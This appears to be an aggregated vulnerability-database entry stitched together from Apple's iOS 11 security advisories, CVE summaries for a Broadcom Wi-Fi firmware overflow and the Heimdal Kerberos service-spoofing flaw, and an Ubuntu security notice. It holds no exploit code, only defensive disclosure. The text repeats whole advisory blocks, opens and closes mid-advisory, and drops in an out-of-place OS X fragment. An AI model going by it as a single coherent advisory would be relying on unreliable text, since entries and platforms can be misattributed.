Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Multiple issues in zlib
Description: Multiple issues were addressed by updating to version
1.2.11.
CVE-2016-9840
CVE-2016-9841
CVE-2016-9842
CVE-2016-9843
Installation note:
This update is available through iTunes and Software Update on your
iOS device, and will not appear in your computer's Software Update
application, or in the Apple Downloads site. Make sure you have an
Internet connection and have installed the latest version of iTunes
from https://www.apple.com/itunes/
iTunes and Software Update on the device will automatically check
Apple's update server on its weekly schedule. When an update is
detected, it is downloaded and the option to be installed is
presented to the user when the iOS device is docked. We recommend
applying the update immediately if possible. Selecting Don't Install
will present the option the next time you connect your iOS device.
The automatic update process may take up to a week depending on the
day that iTunes or the device checks for updates. You may manually
obtain the update via the Check for Updates button within iTunes, or
the Software Update on your device.
To check that the iPhone, iPod touch, or iPad has been updated:
* Navigate to Settings
* Select General
* Select About. The version after applying this update
will be "11".
Information will also be posted to the Apple Security Updates
web site: https://support.apple.com/kb/HT201222
This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
-----BEGIN PGP SIGNATURE-----
iQJdBAEBCgBHFiEEcuX4rtoRe4X62yWlg6PvjDRstEYFAln4u8QpHHByb2R1Y3Qt
c2VjdXJpdHktbm9yZXBseUBsaXN0cy5hcHBsZS5jb20ACgkQg6PvjDRstEb3gRAA
mkMtw5g6ZpDFNK4MpKwfTbwIK7rNjxEh2VGvv+1VNTJJRewGiXcbl/cf5EefPJFR
RpH+8u2jjl7rgEDwRPLYY4EixRTwvOVs46MS5lzkNKjwaIhBswH6ubFIkw2MRgn9
zBbAmixTDb2HVaG2vMtmDm1PmXMq7QMau4W+G0m40bwiNBAyrqcttiiJ1NxdZsBl
LouPNKhaOCLPuDeHG6oJmPRcZCyIvNpXJGE9UA/LMKL5yPbZQpqJvYBznof/SVXq
QxvLw1D60Ki+2L2ItXEVAaAfkKh50+cn34m7rhb4ZIv3/hE86BpoFRGaAhni+QGJ
ugJ2FYciTPnbLttpZlBYfj29BMqqkYQ1HJ+xEQf3krKiQmGKWcRV4858h2GZRGkW
wwd9l1Ym4vDTNK+0yVnN58XTyOjJh/dH8t+Bzp63OUFTLiab6/3kfccozlobbivF
pZWt6fFqbn/e6Re62Xj0VfxlST5TjGqxZq0qgNJiWG9s5z0To3YcDXhJSsTyjtIj
cLM13UTPFAPj+ReTaA0wczvjoq4J6EyVD2bDOHv/iKY+7xOO9+5vTYGD3nhKjdAo
GFBCbpCtBrrrlAd6TtW1D15QBJ+/e/5uJYd9r2BIR/w3l5I7IAnNHtYV9zu/wvuM
odr7Q4DNa5UQq0VMLbsd2avIoYX+xxKQg4WUv8BbkZI=
=NYhG
-----END PGP SIGNATURE-----
| VAR-201709-0970 | CVE-2017-11120 |
Broadcom BCM4355C0 Wi-Fi Such as chips Wi-Fi Internal buffer error vulnerability in firmware
Related entries in the VARIoT exploits database: VAR-E-201709-0259 |
CVSS V2: 10.0 CVSS V3: 9.8 Severity: CRITICAL |
On Broadcom BCM4355C0 Wi-Fi chips 9.44.78.27.0.1.56 and other chips, an attacker can craft a malformed RRM neighbor report frame to trigger an internal buffer overflow in the Wi-Fi firmware, aka B-V2017061204. Broadcom BCM4355C0 Wi-Fichips is a Wi-Fi chip from Broadcom. Wi-Fifirmware is the firmware used in it. A remote attacker could exploit the vulnerability to execute arbitrary code or cause a denial of service. Apple iOS and tvOS are prone to multiple arbitrary code-execution vulnerabilities. Failed exploit attempts will likely result in denial-of-service conditions.
Versions prior to Apple tvOS 11 and iOS 11 are vulnerable.
These issues are being tracked by Android Bud IDs A-62575409 and A-62576413.
CVE-2016-9840
CVE-2016-9841
CVE-2016-9842
CVE-2016-9843
Entry added September 25, 2017
Additional recognition
Security
We would like to acknowledge Abhinav Bansal of Zscaler, Inc.
for their assistance.
Webkit
We would like to acknowledge xisigr of Tencent's Xuanwu Lab
(tencent.com) for their assistance. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
APPLE-SA-2017-10-31-9
Additional information for APPLE-SA-2017-09-19-1 iOS 11
iOS 11 addresses the following:
802.1X
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An attacker may be able to exploit weaknesses in TLS 1.0
Description: A protocol security issue was addressed by enabling TLS
1.1 and TLS 1.2.
CVE-2017-13832: an anonymous researcher
Entry added October 31, 2017
Bluetooth
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An application may be able to access restricted files
Description: A privacy issue existed in the handling of Contact
cards. This was addressed with improved state management.
CVE-2017-7131: Dominik Conrads of Federal Office for Information
Security, an anonymous researcher, Elvis (@elvisimprsntr), an
anonymous researcher
CFNetwork Proxies
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An attacker in a privileged network position may be able to
cause a denial of service
Description: Multiple denial of service issues were addressed through
improved memory handling.
CVE-2017-7083: Abhinav Bansal of Zscaler Inc.
CFString
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2017-13821: Australian Cyber Security Centre a Australian Signals
Directorate
Entry added October 31, 2017
CoreAudio
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An application may be able to read restricted memory
Description: An out-of-bounds read was addressed by updating to Opus
version 1.1.4.
CVE-2017-0381: V.E.O (@VYSEa) of Mobile Threat Research Team, Trend
Micro
CoreText
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted font file may lead to
arbitrary code execution
Description: A memory consumption issue was addressed through
improved memory handling.
CVE-2017-13825: Australian Cyber Security Centre a Australian Signals
Directorate
Entry added October 31, 2017
Exchange ActiveSync
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An attacker in a privileged network position may be able to
erase a device during Exchange account setup
Description: A validation issue existed in AutoDiscover V1. This was
addressed by requiring TLS for AutoDiscover V1. AutoDiscover V2 is
now supported.
CVE-2017-7088: Ilya Nesterov, Maxim Goncharov
file
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Multiple issues in file
Description: Multiple issues were addressed by updating to version
5.31.
CVE-2017-13815
Entry added October 31, 2017
Fonts
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Rendering untrusted text may lead to spoofing
Description: An inconsistent user interface issue was addressed with
improved state management.
CVE-2017-13828: an anonymous researcher
Entry added October 31, 2017
Heimdal
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An attacker in a privileged network position may be able
to impersonate a service
Description: A validation issue existed in the handling of
the KDC-REP service name. This issue was addressed through improved
validation.
CVE-2017-11103: Jeffrey Altman, Viktor Duchovni, and Nico Williams
HFS
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-13830: Sergej Schumilo of Ruhr-University Bochum
Entry added October 31, 2017
iBooks
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Parsing a maliciously crafted iBooks file may lead to a
persistent denial-of-service
Description: Multiple denial of service issues were addressed through
improved memory handling.
CVE-2017-7072: JAdrzej Krysztofiak
ImageIO
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted image may lead to arbitrary
code execution
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2017-13814: Australian Cyber Security Centre a Australian Signals
Directorate
Entry added October 31, 2017
ImageIO
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted image may lead to a denial
of service
Description: An information disclosure issue existed in the
processing of disk images. This issue was addressed through improved
memory management.
CVE-2017-13831: an anonymous researcher
Entry added October 31, 2017
Kernel
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-7114: Alex Plaskett of MWR InfoSecurity
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A local user may be able to read kernel memory
Description: An out-of-bounds read issue existed that led to the
disclosure of kernel memory. This was addressed through improved
input validation.
CVE-2017-13817: Maxime Villard (m00nbsd)
Entry added October 31, 2017
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2017-13818: The UK's National Cyber Security Centre (NCSC)
CVE-2017-13836: an anonymous researcher, an anonymous researcher
CVE-2017-13841: an anonymous researcher
CVE-2017-13840: an anonymous researcher
CVE-2017-13842: an anonymous researcher
CVE-2017-13782: Kevin Backhouse of Semmle Ltd.
Entry added October 31, 2017
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-13843: an anonymous researcher
Entry added October 31, 2017
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a malformed mach binary may lead to arbitrary code
execution
Description: A memory corruption issue was addressed through improved
validation.
CVE-2017-13834: Maxime Villard (m00nbsd)
Entry added October 31, 2017
Keyboard Suggestions
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Keyboard autocorrect suggestions may reveal sensitive
information
Description: The iOS keyboard was inadvertently caching sensitive
information. This issue was addressed with improved heuristics.
CVE-2017-7140: an anonymous researcher
libarchive
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Unpacking a maliciously crafted archive may lead to arbitrary
code execution
Description: A buffer overflow issue was addressed through improved
memory handling.
CVE-2017-13813: found by OSS-Fuzz
CVE-2017-13816: found by OSS-Fuzz
Entry added October 31, 2017
libarchive
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Unpacking a maliciously crafted archive may lead to arbitrary
code execution
Description: Multiple memory corruption issues existed in libarchive.
These issues were addressed through improved input validation.
CVE-2017-13812: found by OSS-Fuzz
Entry added October 31, 2017
libc
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: A remote attacker may be able to cause a denial-of-service
Description: A resource exhaustion issue in glob() was addressed
through an improved algorithm.
CVE-2017-7086: Russ Cox of Google
libc
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An application may be able to cause a denial of service
Description: A memory consumption issue was addressed through
improved memory handling.
CVE-2017-1000373
libexpat
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Multiple issues in expat
Description: Multiple issues were addressed by updating to version
2.2.1
CVE-2016-9063
CVE-2017-9233
Location Framework
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An application may be able to read sensitive location
information
Description: A permissions issue existed in the handling of the
location variable. This was addressed with additional ownership
checks.
CVE-2017-7148: an anonymous researcher, an anonymous researcher
Mail Drafts
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An attacker with a privileged network position may be able to
intercept mail contents
Description: An encryption issue existed in the handling of mail
drafts. This issue was addressed with improved handling of mail
drafts meant to be sent encrypted.
CVE-2017-7078: an anonymous researcher, an anonymous researcher, an
anonymous researcher
Mail MessageUI
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Processing a maliciously crafted image may lead to a denial
of service
Description: A memory corruption issue was addressed with improved
validation.
CVE-2017-7097: Xinshu Dong and Jun Hao Tan of Anquan Capital
Messages
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Processing a maliciously crafted image may lead to a denial
of service
Description: A denial of service issue was addressed through improved
validation.
CVE-2017-7118: Kiki Jiang and Jason Tokoph
MobileBackup
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Backup may perform an unencrypted backup despite a
requirement to perform only encrypted backups
Description: A permissions issue existed. This issue was addressed
with improved permission validation.
CVE-2017-7133: Don Sparks of HackediOS.com
Phone
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: A screenshot of secure content may be taken when locking an
iOS device
Description: A timing issue existed in the handling of locking. This
issue was addressed by disabling screenshots while locking.
CVE-2017-7139: an anonymous researcher
Quick Look
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2017-13822: Australian Cyber Security Centre a Australian Signals
Directorate
Entry added October 31, 2017
Quick Look
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Parsing a maliciously crafted office document may lead to an
unexpected application termination or arbitrary code execution
Description: A memory consumption issue was addressed through
improved memory handling.
CVE-2017-7132: Australian Cyber Security Centre a Australian Signals
Directorate
Entry added October 31, 2017
Safari
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Visiting a malicious website may lead to address bar spoofing
Description: An inconsistent user interface issue was addressed with
improved state management.
CVE-2017-7085: xisigr of Tencent's Xuanwu Lab (tencent.com)
Security
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: A revoked certificate may be trusted
Description: A certificate validation issue existed in the handling
of revocation data. This issue was addressed through improved
validation.
CVE-2017-7080: an anonymous researcher, an anonymous researcher,
Sven Driemecker of adesso mobile solutions gmbh,
Rune Darrud (@theflyingcorpse) of BA|rum kommune
Security
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: A malicious app may be able to track users between installs
Description: A permission checking issue existed in the handling of
an app's Keychain data. This issue was addressed with improved
permission checking.
CVE-2017-7146: an anonymous researcher
SQLite
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Multiple issues in SQLite
Description: Multiple issues were addressed by updating to
version 3.19.3.
CVE-2017-10989: found by OSS-Fuzz
CVE-2017-7128: found by OSS-Fuzz
CVE-2017-7129: found by OSS-Fuzz
CVE-2017-7130: found by OSS-Fuzz
SQLite
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-7127: an anonymous researcher
Time
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: "Setting Time Zone" may incorrectly indicate that it is using
location
Description: A permissions issue existed in the process that handles
time zone information. The issue was resolved by modifying
permissions.
CVE-2017-7145: an anonymous researcher
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2017-7081: Apple
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: Multiple memory corruption issues were addressed with
improved memory handling.
CVE-2017-7087: Apple
CVE-2017-7091: Wei Yuan of Baidu Security Lab working with Trend
Micro's Zero Day Initiative
CVE-2017-7092: Samuel Gro and Niklas Baumstark working with Trend
Micro's Zero Day Initiative, Qixun Zhao (@S0rryMybad) of Qihoo 360
Vulcan Team
CVE-2017-7093: Samuel Gro and Niklas Baumstark working with Trend
Micro's Zero Day Initiative
CVE-2017-7094: Tim Michaud (@TimGMichaud) of Leviathan Security Group
CVE-2017-7095: Wang Junjie, Wei Lei, and Liu Yang of Nanyang
Technological University working with Trend Micro's Zero Day
Initiative
CVE-2017-7096: Wei Yuan of Baidu Security Lab
CVE-2017-7098: Felipe Freitas of Instituto TecnolA3gico de AeronA!utica
CVE-2017-7099: Apple
CVE-2017-7100: Masato Kinugawa and Mario Heiderich of Cure53
CVE-2017-7102: Wang Junjie, Wei Lei, and Liu Yang of Nanyang
Technological University
CVE-2017-7104: likemeng of Baidu Secutity Lab
CVE-2017-7107: Wang Junjie, Wei Lei, and Liu Yang of Nanyang
Technological University
CVE-2017-7111: likemeng of Baidu Security Lab (xlab.baidu.com)
working with Trend Micro's Zero Day Initiative
CVE-2017-7117: lokihardt of Google Project Zero
CVE-2017-7120: chenqin (ee|) of Ant-financial Light-Year Security
Lab
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Processing maliciously crafted web content may lead to
universal cross site scripting
Description: A logic issue existed in the handling of the parent-tab.
This issue was addressed with improved state management.
CVE-2017-7089: Anton Lopanitsyn of ONSEC, Frans RosA(c)n of Detectify
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Cookies belonging to one origin may be sent to another origin
Description: A permissions issue existed in the handling of web
browser cookies. This issue was addressed by no longer returning
cookies for custom URL schemes.
CVE-2017-7090: Apple
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Visiting a malicious website may lead to address bar spoofing
Description: An inconsistent user interface issue was addressed with
improved state management.
CVE-2017-7106: Oliver Paukstadt of Thinking Objects GmbH (to.com)
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Processing maliciously crafted web content may lead to a
cross site scripting attack
Description: Application Cache policy may be unexpectedly applied.
CVE-2017-7109: avlidienbrunn
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: A malicious website may be able to track users in Safari
private browsing mode
Description: A permissions issue existed in the handling of web
browser cookies. This issue was addressed with improved restrictions.
CVE-2017-7144: an anonymous researcher
Wi-Fi
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An attacker within range may be able to execute arbitrary
code on the Wi-Fi chip
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-11120: Gal Beniamini of Google Project Zero
CVE-2017-11121: Gal Beniamini of Google Project Zero
Wi-Fi
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Malicious code executing on the Wi-Fi chip may be able to
execute arbitrary code with kernel privileges on the application
processor
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-7103: Gal Beniamini of Google Project Zero
CVE-2017-7105: Gal Beniamini of Google Project Zero
CVE-2017-7108: Gal Beniamini of Google Project Zero
CVE-2017-7110: Gal Beniamini of Google Project Zero
CVE-2017-7112: Gal Beniamini of Google Project Zero
Wi-Fi
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Malicious code executing on the Wi-Fi chip may be able to
execute arbitrary code with kernel privileges on the application
processor
Description: Multiple race conditions were addressed through improved
validation.
CVE-2017-7115: Gal Beniamini of Google Project Zero
Wi-Fi
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Malicious code executing on the Wi-Fi chip may be able to
read restricted kernel memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2017-7116: Gal Beniamini of Google Project Zero
zlib
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Multiple issues in zlib
Description: Multiple issues were addressed by updating to version
1.2.11.
CVE-2016-9840
CVE-2016-9841
CVE-2016-9842
CVE-2016-9843
Installation note:
This update is available through iTunes and Software Update on your
iOS device, and will not appear in your computer's Software Update
application, or in the Apple Downloads site. Make sure you have an
Internet connection and have installed the latest version of iTunes
from https://www.apple.com/itunes/
iTunes and Software Update on the device will automatically check
Apple's update server on its weekly schedule. When an update is
detected, it is downloaded and the option to be installed is
presented to the user when the iOS device is docked. We recommend
applying the update immediately if possible. Selecting Don't Install
will present the option the next time you connect your iOS device.
The automatic update process may take up to a week depending on the
day that iTunes or the device checks for updates. You may manually
obtain the update via the Check for Updates button within iTunes, or
the Software Update on your device.
To check that the iPhone, iPod touch, or iPad has been updated:
* Navigate to Settings
* Select General
* Select About. The version after applying this update
will be "11".
Information will also be posted to the Apple Security Updates
web site: https://support.apple.com/kb/HT201222
This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
-----BEGIN PGP SIGNATURE-----
iQJdBAEBCgBHFiEEcuX4rtoRe4X62yWlg6PvjDRstEYFAln4u8QpHHByb2R1Y3Qt
c2VjdXJpdHktbm9yZXBseUBsaXN0cy5hcHBsZS5jb20ACgkQg6PvjDRstEb3gRAA
mkMtw5g6ZpDFNK4MpKwfTbwIK7rNjxEh2VGvv+1VNTJJRewGiXcbl/cf5EefPJFR
RpH+8u2jjl7rgEDwRPLYY4EixRTwvOVs46MS5lzkNKjwaIhBswH6ubFIkw2MRgn9
zBbAmixTDb2HVaG2vMtmDm1PmXMq7QMau4W+G0m40bwiNBAyrqcttiiJ1NxdZsBl
LouPNKhaOCLPuDeHG6oJmPRcZCyIvNpXJGE9UA/LMKL5yPbZQpqJvYBznof/SVXq
QxvLw1D60Ki+2L2ItXEVAaAfkKh50+cn34m7rhb4ZIv3/hE86BpoFRGaAhni+QGJ
ugJ2FYciTPnbLttpZlBYfj29BMqqkYQ1HJ+xEQf3krKiQmGKWcRV4858h2GZRGkW
wwd9l1Ym4vDTNK+0yVnN58XTyOjJh/dH8t+Bzp63OUFTLiab6/3kfccozlobbivF
pZWt6fFqbn/e6Re62Xj0VfxlST5TjGqxZq0qgNJiWG9s5z0To3YcDXhJSsTyjtIj
cLM13UTPFAPj+ReTaA0wczvjoq4J6EyVD2bDOHv/iKY+7xOO9+5vTYGD3nhKjdAo
GFBCbpCtBrrrlAd6TtW1D15QBJ+/e/5uJYd9r2BIR/w3l5I7IAnNHtYV9zu/wvuM
odr7Q4DNa5UQq0VMLbsd2avIoYX+xxKQg4WUv8BbkZI=
=NYhG
-----END PGP SIGNATURE-----
| VAR-201707-0592 | CVE-2017-11103 | Heimdal Vulnerabilities in which services are spoofed |
CVSS V2: 6.8 CVSS V3: 8.1 Severity: HIGH |
Heimdal before 7.4 allows remote attackers to impersonate services with Orpheus' Lyre attacks because it obtains service-principal names in a way that violates the Kerberos 5 protocol specification. In _krb5_extract_ticket() the KDC-REP service name must be obtained from the encrypted version stored in 'enc_part' instead of the unencrypted version stored in 'ticket'. Use of the unencrypted version provides an opportunity for successful server impersonation and other attacks. NOTE: this CVE is only for Heimdal and other products that embed Heimdal code; it does not apply to other instances in which this part of the Kerberos 5 protocol specification is violated. Heimdal is prone to a security-bypass vulnerability.
Successfully exploiting this issue may allow attackers to bypass certain security restrictions and perform unauthorized actions by conducting a man-in-the-middle attack. This may lead to other attacks. Heimdal is a Kerberos 5 implementation. A data forgery issue vulnerability exists in Heimdal versions prior to 7.4. ===========================================================================
Ubuntu Security Notice USN-3353-3
July 24, 2017
heimdal vulnerability
===========================================================================
A security issue affects these releases of Ubuntu and its derivatives:
Ubuntu 12.04 LTS
Summary
Heimdal could allow unintended access to network services.
Software description
heimdal - Heimdal Kerberos Network Authentication Protocol
Details
USN-3353-1 fixed a vulnerability in Heimdal. This update provides
the corresponding updade for Ubuntu 12.04 ESM.
Original advisory details:
Jeffrey Altman, Viktor Dukhovni, and Nicolas Williams discovered
that Heimdal clients incorrectly trusted unauthenticated portions
of Kerberos tickets. A remote attacker could use this to impersonate
trusted network services or perform other attacks.
Update instructions
The problem can be corrected by updating your system to the following package version:
Ubuntu 12.04 LTS:
libkrb5-26-heimdal 1.6~git20120311.dfsg.1-2ubuntu0.2
To update your system, please follow these instructions: https://wiki.ubuntu.com/Security/Upgrades.
After a standard system update you need to restart any applications
using Heimdal libraries to make all the necessary changes.
References
https://www.ubuntu.com/usn/usn-3353-3
https://www.ubuntu.com/usn/usn-3353-1
CVE-2017-11103
.
CVE-2017-7074: Daniel Jalkut of Red Sweater Software
Captive Network Assistant
Available for: OS X Lion v10.8 and later
Impact: A local user may unknowingly send a password unencrypted over
the network
Description: The security state of the captive portal browser was not
obvious.
CVE-2016-9840
CVE-2016-9841
CVE-2016-9842
CVE-2016-9843
Entry added September 25, 2017
Additional recognition
Security
We would like to acknowledge Abhinav Bansal of Zscaler, Inc.
for their assistance.
Webkit
We would like to acknowledge xisigr of Tencent's Xuanwu Lab
(tencent.com) for their assistance. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
APPLE-SA-2017-10-31-9
Additional information for APPLE-SA-2017-09-19-1 iOS 11
iOS 11 addresses the following:
802.1X
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An attacker may be able to exploit weaknesses in TLS 1.0
Description: A protocol security issue was addressed by enabling TLS
1.1 and TLS 1.2.
CVE-2017-13832: an anonymous researcher
Entry added October 31, 2017
Bluetooth
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An application may be able to access restricted files
Description: A privacy issue existed in the handling of Contact
cards. This was addressed with improved state management.
CVE-2017-7131: Dominik Conrads of Federal Office for Information
Security, an anonymous researcher, Elvis (@elvisimprsntr), an
anonymous researcher
CFNetwork Proxies
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An attacker in a privileged network position may be able to
cause a denial of service
Description: Multiple denial of service issues were addressed through
improved memory handling.
CVE-2017-7083: Abhinav Bansal of Zscaler Inc.
CFString
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2017-13821: Australian Cyber Security Centre a Australian Signals
Directorate
Entry added October 31, 2017
CoreAudio
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An application may be able to read restricted memory
Description: An out-of-bounds read was addressed by updating to Opus
version 1.1.4.
CVE-2017-0381: V.E.O (@VYSEa) of Mobile Threat Research Team, Trend
Micro
CoreText
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted font file may lead to
arbitrary code execution
Description: A memory consumption issue was addressed through
improved memory handling.
CVE-2017-13825: Australian Cyber Security Centre a Australian Signals
Directorate
Entry added October 31, 2017
Exchange ActiveSync
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An attacker in a privileged network position may be able to
erase a device during Exchange account setup
Description: A validation issue existed in AutoDiscover V1. This was
addressed by requiring TLS for AutoDiscover V1. AutoDiscover V2 is
now supported.
CVE-2017-7088: Ilya Nesterov, Maxim Goncharov
file
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Multiple issues in file
Description: Multiple issues were addressed by updating to version
5.31.
CVE-2017-13815
Entry added October 31, 2017
Fonts
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Rendering untrusted text may lead to spoofing
Description: An inconsistent user interface issue was addressed with
improved state management.
CVE-2017-13828: an anonymous researcher
Entry added October 31, 2017
Heimdal
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An attacker in a privileged network position may be able
to impersonate a service
Description: A validation issue existed in the handling of
the KDC-REP service name. This issue was addressed through improved
validation.
CVE-2017-11103: Jeffrey Altman, Viktor Duchovni, and Nico Williams
HFS
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-13830: Sergej Schumilo of Ruhr-University Bochum
Entry added October 31, 2017
iBooks
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Parsing a maliciously crafted iBooks file may lead to a
persistent denial-of-service
Description: Multiple denial of service issues were addressed through
improved memory handling.
CVE-2017-7072: JAdrzej Krysztofiak
ImageIO
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted image may lead to arbitrary
code execution
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2017-13814: Australian Cyber Security Centre a Australian Signals
Directorate
Entry added October 31, 2017
ImageIO
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted image may lead to a denial
of service
Description: An information disclosure issue existed in the
processing of disk images. This issue was addressed through improved
memory management.
CVE-2017-13831: an anonymous researcher
Entry added October 31, 2017
Kernel
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-7114: Alex Plaskett of MWR InfoSecurity
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A local user may be able to read kernel memory
Description: An out-of-bounds read issue existed that led to the
disclosure of kernel memory. This was addressed through improved
input validation.
CVE-2017-13817: Maxime Villard (m00nbsd)
Entry added October 31, 2017
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2017-13818: The UK's National Cyber Security Centre (NCSC)
CVE-2017-13836: an anonymous researcher, an anonymous researcher
CVE-2017-13841: an anonymous researcher
CVE-2017-13840: an anonymous researcher
CVE-2017-13842: an anonymous researcher
CVE-2017-13782: Kevin Backhouse of Semmle Ltd.
Entry added October 31, 2017
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-13843: an anonymous researcher
Entry added October 31, 2017
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a malformed mach binary may lead to arbitrary code
execution
Description: A memory corruption issue was addressed through improved
validation.
CVE-2017-13834: Maxime Villard (m00nbsd)
Entry added October 31, 2017
Keyboard Suggestions
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Keyboard autocorrect suggestions may reveal sensitive
information
Description: The iOS keyboard was inadvertently caching sensitive
information. This issue was addressed with improved heuristics.
